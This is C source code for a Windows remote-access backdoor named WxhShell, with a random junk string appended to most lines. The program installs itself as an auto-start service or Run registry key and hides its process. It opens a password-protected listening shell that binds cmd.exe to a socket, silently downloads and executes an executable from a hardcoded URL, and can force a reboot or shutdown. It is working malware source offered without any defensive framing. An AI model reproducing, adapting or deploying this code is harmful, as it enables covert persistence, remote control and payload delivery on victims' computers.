    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -(;26\lE  
    else { KW pVw!  
    closesocket(wsh); -&zZtDd F  
    ExitThread(0); rlOAo`hd  
    } Rl?_^dPx  
    break; f.KN-f8<F  
    } YJT&{jYi  
  // 获取shell OrY/`+Cog  
  case 's': { iP ->S\  
    CmdShell(wsh); (x;@%:3j$  
    closesocket(wsh);  iu=7O  
    ExitThread(0); , /Z%@-rF  
    break; 0ypNUG}   
  } "*e$aTZB\  
  // 退出 qN9(S:_Px  
  case 'x': { -=)H{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V^bwXr4f  
    CloseIt(wsh); ?BeiY zg  
    break; .ypL=~Rp  
    } ^@s1Z7  
  // 离开 Ot_]3:`J~  
  case 'q': { wd8 l$*F*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *&^Pj%DX  
    closesocket(wsh); N/"{.3{W  
    WSACleanup(); 84& $^lNV  
    exit(1); |4;Fd9q^m  
    break; ,~N/- 5  
        } IL#"~D?  
  } hF~n)oQ  
  } l[0RgO*S  
k8&;lgO '  
  // 提示信息 HdUQCugxx:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |"8b_Cq{  
} {HltvO%8  
  } XpB_N{v9w  
5H<m$K4z  
  return; 6 $4[gcL'  
} y}" O U  
l *(8i ^  
// shell模块句柄 M2,l7  
int CmdShell(SOCKET sock) -A^_{4X  
{ %S960  
STARTUPINFO si; t&C1Oo}=3  
ZeroMemory(&si,sizeof(si)); _7Ju  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] vHF~|/-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > PRFWO  
PROCESS_INFORMATION ProcessInfo; ;#W2|'HD  
char cmdline[]="cmd"; p_gm3Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AUG#_HE]k  
  return 0; c<:-T  
} t6 "%3#s  
r= `Jn6@  
// 自身启动模式 ^1I19q  
int StartFromService(void) |.: q  
{ RB7tmJ c  
typedef struct q_[o" wq/  
{ ]nn98y+  
  DWORD ExitStatus; !Iy_UfW  
  DWORD PebBaseAddress; i &nSh ]KK  
  DWORD AffinityMask; ]g3JZF-  
  DWORD BasePriority; BO?%'\  
  ULONG UniqueProcessId; zZPO&akB"  
  ULONG InheritedFromUniqueProcessId; nV|EQs4(  
}   PROCESS_BASIC_INFORMATION; =7=]{Cx[  
Uiw2oi&_  
PROCNTQSIP NtQueryInformationProcess; 3wF;GG  
nfbR P t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GY'%+\*tj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #jvtUS\  
hR?{3d#x2  
  HANDLE             hProcess; Mq156TL  
  PROCESS_BASIC_INFORMATION pbi; hn G Z=  
e'NJnPO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); me$Z~/Akm  
  if(NULL == hInst ) return 0; AlaW=leTe  
5{X<y#vAC0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {UI+$/v#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N)X3XTY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xef% d G.  
g wRZ%.Cn  
  if (!NtQueryInformationProcess) return 0; |tH4:%Q'  
Q~ w|#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rsm^Z!sn  
  if(!hProcess) return 0; W' VslZG  
tCH!my_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L ca}J&x]^  
v0{i0%d,?  
  CloseHandle(hProcess); W:2( .?  
$t[FH&c(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9s q  
if(hProcess==NULL) return 0; Tx# Mn~xD  
/{ g>nzP  
HMODULE hMod; kS);xA8s]  
char procName[255]; L~OvY  
unsigned long cbNeeded; b{&)6M)zo  
M'O <h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?dg [:1R}  
%YscBG  
  CloseHandle(hProcess); Czu9o;xr  
194)QeoFw  
if(strstr(procName,"services")) return 1; // 以服务启动 IHac:=*Q  
rglXs  
  return 0; // 注册表启动 ~q.F<6O  
} (y~TL*B  
mO7]9 p  
// 主模块 +~$ ]} %  
int StartWxhshell(LPSTR lpCmdLine) !wVM= z^G  
{ <iC(`J$D  
  SOCKET wsl; j</: WRA`]  
BOOL val=TRUE; Wqw1J=]  
  int port=0; *i%.;Z"  
  struct sockaddr_in door; %5n_ p^xp  
X&`t{Id?6  
  if(wscfg.ws_autoins) Install(); E{`fF8]K  
45c$nuZ  
port=atoi(lpCmdLine); *] ) `z8Ox  
vpr.Hn  
if(port<=0) port=wscfg.ws_port; R 'zWYQ  
FcU SE  
  WSADATA data; EV%gF   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R&k<AZ  
\Gvm9M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8Fu(Ft^9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .Yn_*L+4*  
  door.sin_family = AF_INET;  eq;uO6[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }&J q}j  
  door.sin_port = htons(port); {4Cmu;u  
'zTLl8P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '-~~-}= sJ  
closesocket(wsl); 7R\<inCQ  
return 1; @RKryY)  
} z Rr*7G  
#)O6 5GI  
  if(listen(wsl,2) == INVALID_SOCKET) { aX'*pK/-  
closesocket(wsl); _Y;W0Z  
return 1; %P|/A+Mg"  
} + =</&Tm  
  Wxhshell(wsl); %7.30CA|#  
  WSACleanup(); hRhe& ,v  
YNF k  
return 0; 7Ak6,BuI%  
5U$0F$BBp  
} `M8i92V\qY  
^u ~Q/ 4  
// 以NT服务方式启动 "+G8d' %YV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xi}skA  
{ !Wnb|=j  
DWORD   status = 0; &Ok):`  
  DWORD   specificError = 0xfffffff; lRFYx?y  
`d}2O%P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ukyZes8o K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /*mI<[xb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /h3RmUy   
  serviceStatus.dwWin32ExitCode     = 0; 8&slu{M- t  
  serviceStatus.dwServiceSpecificExitCode = 0; + cN8Y}V  
  serviceStatus.dwCheckPoint       = 0; X l5 A 'h  
  serviceStatus.dwWaitHint       = 0; 1mG-}  
kt:! 7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [7Oe3=  
  if (hServiceStatusHandle==0) return; Ad_h K O  
M8(t 'jN  
status = GetLastError(); 4H&+dR I"  
  if (status!=NO_ERROR) eng'X-x  
{ +23x ev  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jNk%OrP]  
    serviceStatus.dwCheckPoint       = 0; L4nYXW0y  
    serviceStatus.dwWaitHint       = 0; wb l&  
    serviceStatus.dwWin32ExitCode     = status; ZD{LXJ{Vm  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6j}9V L77  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4,DeHJjAlE  
    return; Y$@?.)tY  
  } Lp9E:D->  
oCz/HQoBk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /7YIn3  
  serviceStatus.dwCheckPoint       = 0; <RL]  
  serviceStatus.dwWaitHint       = 0; <)D$51 &0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DB,J3bm  
} zTU0HR3A  
Y76gJ[y jn  
// 处理NT服务事件,比如:启动、停止 H4+i.*T#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ep{FpB  
{ ]h5tgi?_l  
switch(fdwControl) PEZ!n.'S  
{ oOFVb5qoFU  
case SERVICE_CONTROL_STOP: fz "Y CHe  
  serviceStatus.dwWin32ExitCode = 0; 61U09s%\0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pEA:L$&  
  serviceStatus.dwCheckPoint   = 0; F:S}w   
  serviceStatus.dwWaitHint     = 0; O:K2Y5R?B  
  { zdam^o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6D3B^.r j]  
  } u>vL/nI  
  return; p4Z(^+Aa  
case SERVICE_CONTROL_PAUSE: l.M0`Cn-%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Iu=(qU  
  break; f3y=Wxk[  
case SERVICE_CONTROL_CONTINUE: sRb9`u =)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }Zp,+U*"  
  break; |2A:eI8 ^  
case SERVICE_CONTROL_INTERROGATE: SOIN']L|V[  
  break; do'GlU oMC  
}; 'LDQgC*%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \s\?l(ooq"  
} wUJcmM;  
P]C<U aW'!  
// 标准应用程序主函数 G' 1'/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x]j W<A  
{ %8v\FS  
1< ?4\?j  
// 获取操作系统版本 S3J^,*'  
OsIsNt=GetOsVer(); n+M<\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6ik$B   
'~ 47)fN  
  // 从命令行安装 .T`%tJ-Em  
  if(strpbrk(lpCmdLine,"iI")) Install(); <1TAw.  
<F'\lA9  
  // 下载执行文件 J<lW<:!3]  
if(wscfg.ws_downexe) { JW&gJASGC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gjlx~.0d  
  WinExec(wscfg.ws_filenam,SW_HIDE); !5!<C,U  
} {{!-Gr  
Q+{n-? :  
if(!OsIsNt) {  Nz-&MS  
// 如果时win9x,隐藏进程并且设置为注册表启动 );YDtGip J  
HideProc(); #w=~lq)9  
StartWxhshell(lpCmdLine); eyxW 0}[  
} 2~[juWbz  
else [nh>vqum  
  if(StartFromService()) m]&SNz=  
  // 以服务方式启动 !8 b ^,  
  StartServiceCtrlDispatcher(DispatchTable); 7d\QB (~  
else K (|}dl:  
  // 普通方式启动 @O~pV`_tD  
  StartWxhshell(lpCmdLine); nJ;.Td  
.6J$,.Ig  
return 0; x?<FJ"8"k  
} MHwIA*R  
A@u@ift  
N$tGQ@  
*n!J=yS  
=========================================== "J1 4C9u   
"r2 r   
2fS:- 8N  
vih9 KBT  
J[kTlHMD  
Dt1jW  
" G!yP w:X  
2~2 O V  
#include <stdio.h> 2`-Bs  
#include <string.h> ,]D,P  
#include <windows.h> w!XD/j N  
#include <winsock2.h> W@esITr  
#include <winsvc.h> +w~oH=  
#include <urlmon.h> Uw:"n]G]D?  
 0+8e,  
#pragma comment (lib, "Ws2_32.lib") |vC~HJpuv'  
#pragma comment (lib, "urlmon.lib") E" vS $  
2KZneS`  
#define MAX_USER   100 // 最大客户端连接数 ;FEqe 49  
#define BUF_SOCK   200 // sock buffer [fy LV`  
#define KEY_BUFF   255 // 输入 buffer K)P%;X  
Tj- s4x  
#define REBOOT     0   // 重启 O".=r}  
#define SHUTDOWN   1   // 关机 QsW/X0YBv  
1 TXioDs=_  
#define DEF_PORT   5000 // 监听端口 "Y.y:Vv;  
p K$`$H  
#define REG_LEN     16   // 注册表键长度 (tO\)aS=  
#define SVC_LEN     80   // NT服务名长度 H"F29Pu2  
V~ _>U}  
// 从dll定义API #LNED)Vg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e#q}F>/L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P2nu;I_ &  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yr|4Fl~U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {c0`Um3&>  
4Po_-4  
// wxhshell配置信息 i-&yH  
struct WSCFG { t`QENXA}  
  int ws_port;         // 监听端口 Bbp|!+KP{(  
  char ws_passstr[REG_LEN]; // 口令 TsZ@  
  int ws_autoins;       // 安装标记, 1=yes 0=no i@'dH3-kO  
  char ws_regname[REG_LEN]; // 注册表键名 S]{oPc[7  
  char ws_svcname[REG_LEN]; // 服务名 K> e7pu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;n},"&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sR8"3b<qA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3 gf1ownC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g\AY|;T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M3Kfd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b`_Q8 J  
j+YJbL v  
}; ,z?':TZ  
A2Tw<&Tw(  
// default Wxhshell configuration ,u!sjx  
struct WSCFG wscfg={DEF_PORT, aQ~s`^D  
    "xuhuanlingzhe", D)Dr__x  
    1, wA.\i  
    "Wxhshell", MO]&bHH7;  
    "Wxhshell", nj4/#W  
            "WxhShell Service", i mM_H;-X  
    "Wrsky Windows CmdShell Service", 0CvUc>Pj`"  
    "Please Input Your Password: ", -{A<.a3P}=  
  1, u=yOu^={  
  "http://www.wrsky.com/wxhshell.exe", |cY`x(?yP  
  "Wxhshell.exe" H)&R=s  
    }; ItCv.yv35  
:Q q#Z  
// 消息定义模块 }1xo-mUg,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?fS9J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^C%<l( b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ctV,Q3'Z  
char *msg_ws_ext="\n\rExit."; QCJM&  
char *msg_ws_end="\n\rQuit."; oXS}IL og'  
char *msg_ws_boot="\n\rReboot..."; H[|~/0?K  
char *msg_ws_poff="\n\rShutdown..."; ?1".;foZ  
char *msg_ws_down="\n\rSave to "; Dhv3jg;lq  
B1Oq!k  
char *msg_ws_err="\n\rErr!"; \[nut;  
char *msg_ws_ok="\n\rOK!"; =Runf +}  
LHmZxi?  
char ExeFile[MAX_PATH]; <6=c,y  
int nUser = 0;  C.QO#b  
HANDLE handles[MAX_USER]; ~;]d"'  
int OsIsNt; mcok/,/  
"I TIhnE  
SERVICE_STATUS       serviceStatus; lRdChoL$2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6zn5UW#q  
D#z:()VT(  
// 函数声明 ze;KhUPRm  
int Install(void); -{_PuJ "  
int Uninstall(void); bjS {(  
int DownloadFile(char *sURL, SOCKET wsh); 3mni>*q7d  
int Boot(int flag); Sx\]!B@DSu  
void HideProc(void); h.fq,em+H  
int GetOsVer(void); ,2)6s\]/b  
int Wxhshell(SOCKET wsl); !VK|u8i  
void TalkWithClient(void *cs); )_NO4`ejs/  
int CmdShell(SOCKET sock); cS+>J@L  
int StartFromService(void); Vq2$'lY  
int StartWxhshell(LPSTR lpCmdLine); ;=UsAB]  
WjjB<YKzF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {_dvx*M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i@CxI<1'  
L.WljNo  
// 数据结构和表定义 39jG8zr=Z[  
SERVICE_TABLE_ENTRY DispatchTable[] = TB^$1C  
{ w*MpX U<  
{wscfg.ws_svcname, NTServiceMain}, wdZ/Xp9]  
{NULL, NULL} #89!'W  
}; =rK+eG#,  
?'je)F  
// 自我安装 hpJ-r  
int Install(void) 3k?X-|O8AZ  
{ {}x^ri~  
  char svExeFile[MAX_PATH]; ]+$?u&0?w  
  HKEY key; [trwBZ^D~  
  strcpy(svExeFile,ExeFile); bJ;'`sw1  
;UP$yM;  
// 如果是win9x系统,修改注册表设为自启动 UY 2OZ& &  
if(!OsIsNt) { 2Hv+W-6v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tac$LS\Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m#F`] {  
  RegCloseKey(key); 9)=ctoZ'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ---N9I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  f V(J|  
  RegCloseKey(key); x3krbUlx  
  return 0; 4H<lm*!^  
    } ri.I pRe  
  } zv"Z DRW  
} x$%!U[!3  
else { I`p;F!s  
as_PoCoss  
// 如果是NT以上系统,安装为系统服务 5 u0HI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !Rt>xD  
if (schSCManager!=0) ;({W#Wa  
{ tRfo$4#NY  
  SC_HANDLE schService = CreateService 1!gbTeVlY  
  ( '`<w#z}AF  
  schSCManager, ! v0LBe4  
  wscfg.ws_svcname, V$?SR44>nH  
  wscfg.ws_svcdisp, alvrh'51  
  SERVICE_ALL_ACCESS, E@3aI Axh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #C3.Jef  
  SERVICE_AUTO_START, l/awS!Q/nF  
  SERVICE_ERROR_NORMAL, O8.5}>gDn.  
  svExeFile, i7>tU=  
  NULL, 3%ZOKb"D*  
  NULL, m%e68c  
  NULL, mdg i5v  
  NULL, VU d\QR-  
  NULL baK$L;Xo:  
  ); "FKOaQ%IH  
  if (schService!=0) # N cK X  
  { _#h_:  
  CloseServiceHandle(schService); uR r o?m<  
  CloseServiceHandle(schSCManager); z]9MM 2+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |H+Wed|  
  strcat(svExeFile,wscfg.ws_svcname); k)Qtfj}uij  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 680o)hh4m>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :Z z '1C  
  RegCloseKey(key); N*&1GT#9  
  return 0; xK\d4 "  
    } e@OX_t_  
  } {8%a5DiM  
  CloseServiceHandle(schSCManager); w*JGUk  
} ^]-6u:J!  
} Q)[C?obd v  
> "=>3  
return 1; J6aef ^>  
} & 9 ?\b7  
w)Qp?k d  
// 自我卸载 2('HvH]k  
int Uninstall(void) /RC7"QzL  
{ qeZ? 7#Gf  
  HKEY key; 46&/gehr  
NPe%F+X  
if(!OsIsNt) { 4Wm@W E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tyf`j,=  
  RegDeleteValue(key,wscfg.ws_regname); 7VFLJr t  
  RegCloseKey(key); C-[eaHJ'$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'ub@]ru|  
  RegDeleteValue(key,wscfg.ws_regname); $'hEz/  
  RegCloseKey(key); :A'y+MnK<  
  return 0; =zKM=qba  
  } '(L7;+E  
} e;}7G  
} .UY^oR=b{  
else { KNIn:K^/  
)f<z% :I+Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u^qT2Ss0  
if (schSCManager!=0) 3x'|]Ns  
{ "5wa91*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X*@dj_,  
  if (schService!=0) _t #k,;  
  { 9c :cw  
  if(DeleteService(schService)!=0) { ` v@m-j6  
  CloseServiceHandle(schService); Ge-vWf-RbB  
  CloseServiceHandle(schSCManager); Y#P%6Fy  
  return 0; @7j AL-  
  } C={Y;C1  
  CloseServiceHandle(schService); VZmLS 4E  
  } ByNn  
  CloseServiceHandle(schSCManager); D\NKC@(M  
} JB[~;nLlC  
} )C]g ld;8  
W+ko q*P  
return 1; Y^EcQzLw  
} dvJ M6W>^=  
>_"an~Ss  
// 从指定url下载文件 $6iX   
int DownloadFile(char *sURL, SOCKET wsh) 2)HuZda  
{ Q:k}Jl  
  HRESULT hr; 'F0e(He@,  
char seps[]= "/";  DwE[D]7o  
char *token; {:$>t~=D  
char *file; !\.pq  2  
char myURL[MAX_PATH]; XBu"-(  
char myFILE[MAX_PATH]; &H/'rd0M  
S8j{V5R'  
strcpy(myURL,sURL); GM f `A,>  
  token=strtok(myURL,seps); A!WKnb_`  
  while(token!=NULL) Lhb35;\  
  { *kDCliL  
    file=token; IE/^\ M  
  token=strtok(NULL,seps); ieCEo|b  
  } )g#T9tx2D  
0Y{yKL  
GetCurrentDirectory(MAX_PATH,myFILE); qwgPk9l  
strcat(myFILE, "\\"); j0evq+  
strcat(myFILE, file); G[I"8iS,  
  send(wsh,myFILE,strlen(myFILE),0); JL}_72gs  
send(wsh,"...",3,0); co|aC!7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EC!02S  
  if(hr==S_OK) 62o:,IcoG  
return 0; .Una+Z  
else 3E $f)  
return 1; Q%tXQP.r  
W^LY'ypT  
} ex (.=X 1  
""F5z,'  
// 系统电源模块 f=gW]x7'R+  
int Boot(int flag) V/ uP%'cd  
{ '3D XPR^B6  
  HANDLE hToken; ca*DZG/  
  TOKEN_PRIVILEGES tkp; ']z{{UNUN  
x vl#w  
  if(OsIsNt) { x '>9d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4`]^@"{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,|H `e^  
    tkp.PrivilegeCount = 1; }1i`6`y1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VfC<WVYiZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &zeyE;/Hj  
if(flag==REBOOT) { ][h%UrV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]]9R mh=  
  return 0; $f=J2&D,Cz  
} {xB!EQ"  
else { =I;ZMJR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tc &z:  
  return 0; zFw s:_ i  
} I%X6T@P  
  } j2.|ln"!  
  else { O{G?;H$  
if(flag==REBOOT) { YPK(be_|I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =llvuUd\n  
  return 0; pF:$  ko  
} m6&~HfwN  
else { 2E/"hQw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l2rd9 -T  
  return 0; #;q dY[v  
} lN?qp'%H`  
} lC("y' ::  
#+HJA42  
return 1; `nv~NLkl  
} " H&W}N  
ex9g?*Q  
// win9x进程隐藏模块 #9}D4i.`}  
void HideProc(void) D] jz A x  
{ lVR~Bh  
T?soJ]A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E=CsIK   
  if ( hKernel != NULL ) E+R1 !.  
  { q`H_M{26!y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mD0f<gJ1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ith 3 =`3  
    FreeLibrary(hKernel); Bp`]  
  } A8fOQ  
$i}y8nlQ  
return; RJ ||}5  
} aS{n8P6vW  
;I 9&]   
// 获取操作系统版本 6YLj^w] %  
int GetOsVer(void) 5k3b3&  
{ !&ayYu##{  
  OSVERSIONINFO winfo; nE&@Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1s2>C!\  
  GetVersionEx(&winfo); EQyC1j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RO VW s/  
  return 1; C]eSizS.  
  else 4Lh!8g=/  
  return 0; eJVjuG  
} B=yqW  
N^ds RYC  
// 客户端句柄模块 V>)OpvoT#  
int Wxhshell(SOCKET wsl) H*QIB_  
{ V b4#,  
  SOCKET wsh; YEs&  
  struct sockaddr_in client; fc%xS7&  
  DWORD myID; uK#4(eY=W  
gA5/,wDO  
  while(nUser<MAX_USER) ~xfP:[u  
{ 7he,?T)vD  
  int nSize=sizeof(client); T`.O'!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $L>@Ed<  
  if(wsh==INVALID_SOCKET) return 1; }Qc@m9;bH  
BNl5!X^{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c74.< @w  
if(handles[nUser]==0) 6C^ D#.S  
  closesocket(wsh); m )zUU  
else -MO#]K3<  
  nUser++; ./k/KSR  
  } @ ZwvBH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G5RR]?@6V  
5C*Pd Wpl  
  return 0; t#/YN.@r  
}  ZrxD`1L  
P[#e/qnXu|  
// 关闭 socket trA4R/ &  
void CloseIt(SOCKET wsh) V>%rv'G8  
{ Ic:(Gi- %  
closesocket(wsh); dvx#q5f_S  
nUser--; }DE g-j,F  
ExitThread(0); B5VKs,g  
} ygS;$2m%2  
y$F'(b| )  
// 客户端请求句柄 AGO+p(6d=g  
void TalkWithClient(void *cs) Ae^~Cz1qz  
{ Co_A/  
gQelD6c  
  SOCKET wsh=(SOCKET)cs; ?|C2*?hZ+  
  char pwd[SVC_LEN]; %lx!. G  
  char cmd[KEY_BUFF]; @* jz o  
char chr[1]; e&F8m%t  
int i,j; vnt%XU,,Y  
5 +YH.4R  
  while (nUser < MAX_USER) { cLJ$M`e  
nQtWvT  
if(wscfg.ws_passstr) { R'`qKc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z'U1bMg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "f2$w  
  //ZeroMemory(pwd,KEY_BUFF); 9:[  9v  
      i=0; Lpz>>}  
  while(i<SVC_LEN) { ,GIy q)  
`?qF$g9u~  
  // 设置超时 n;Q7X>-f8`  
  fd_set FdRead; g i-$Z FzB  
  struct timeval TimeOut; 4*#18<u5  
  FD_ZERO(&FdRead); H8zK$!  
  FD_SET(wsh,&FdRead); K5VWt)Z#  
  TimeOut.tv_sec=8; m6K}|j  
  TimeOut.tv_usec=0; 6NuD4Ga  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S_4?K)n #  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K.nHii   
(sTpmQx,b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y>T-af49  
  pwd=chr[0]; $}q23  
  if(chr[0]==0xd || chr[0]==0xa) { GPv1fearl  
  pwd=0; 82qoGSD.  
  break; EHIF>@TZ  
  } wn, KY$/  
  i++; qzLPw*;  
    } SC!RbW@3  
 #ut  
  // 如果是非法用户,关闭 socket ]e^&aR5f"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jk11fn;\>  
} J T7nG.9  
G1tY)_-8[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rjAn@!|:+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r:'.nhe  
t?&|8SId  
while(1) { I)6+6pm  
9dLV96  
  ZeroMemory(cmd,KEY_BUFF); KVaiugQ   
[z\$?VJspQ  
      // 自动支持客户端 telnet标准   2'\H\|  
  j=0; dNH08q8P  
  while(j<KEY_BUFF) { g \:[ 55;8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1~`fVg  
  cmd[j]=chr[0]; `pS9_ NYZ}  
  if(chr[0]==0xa || chr[0]==0xd) { EhvX)s  
  cmd[j]=0; 9c'xHO`  
  break; f:w?pE  
  } CL;}IBd a  
  j++; OU.6bmWy|  
    } JPUW6e07o  
,0Hr2*p  
  // 下载文件 mh #a#<  
  if(strstr(cmd,"http://")) { 4G0m\[Du  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4Uo&d#o)C-  
  if(DownloadFile(cmd,wsh)) W:nef<WH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); On.{!:"I/  
  else rJT a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l0 m-$/  
  } X-Kh(Z  
  else { e}7lBLK]*  
n\'4  
    switch(cmd[0]) { yYYSeH  
  E GS)b  
  // 帮助 (gU!=F?#m  
  case '?': { )m)-o4c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xml7Uarc  
    break; |F[+k e  
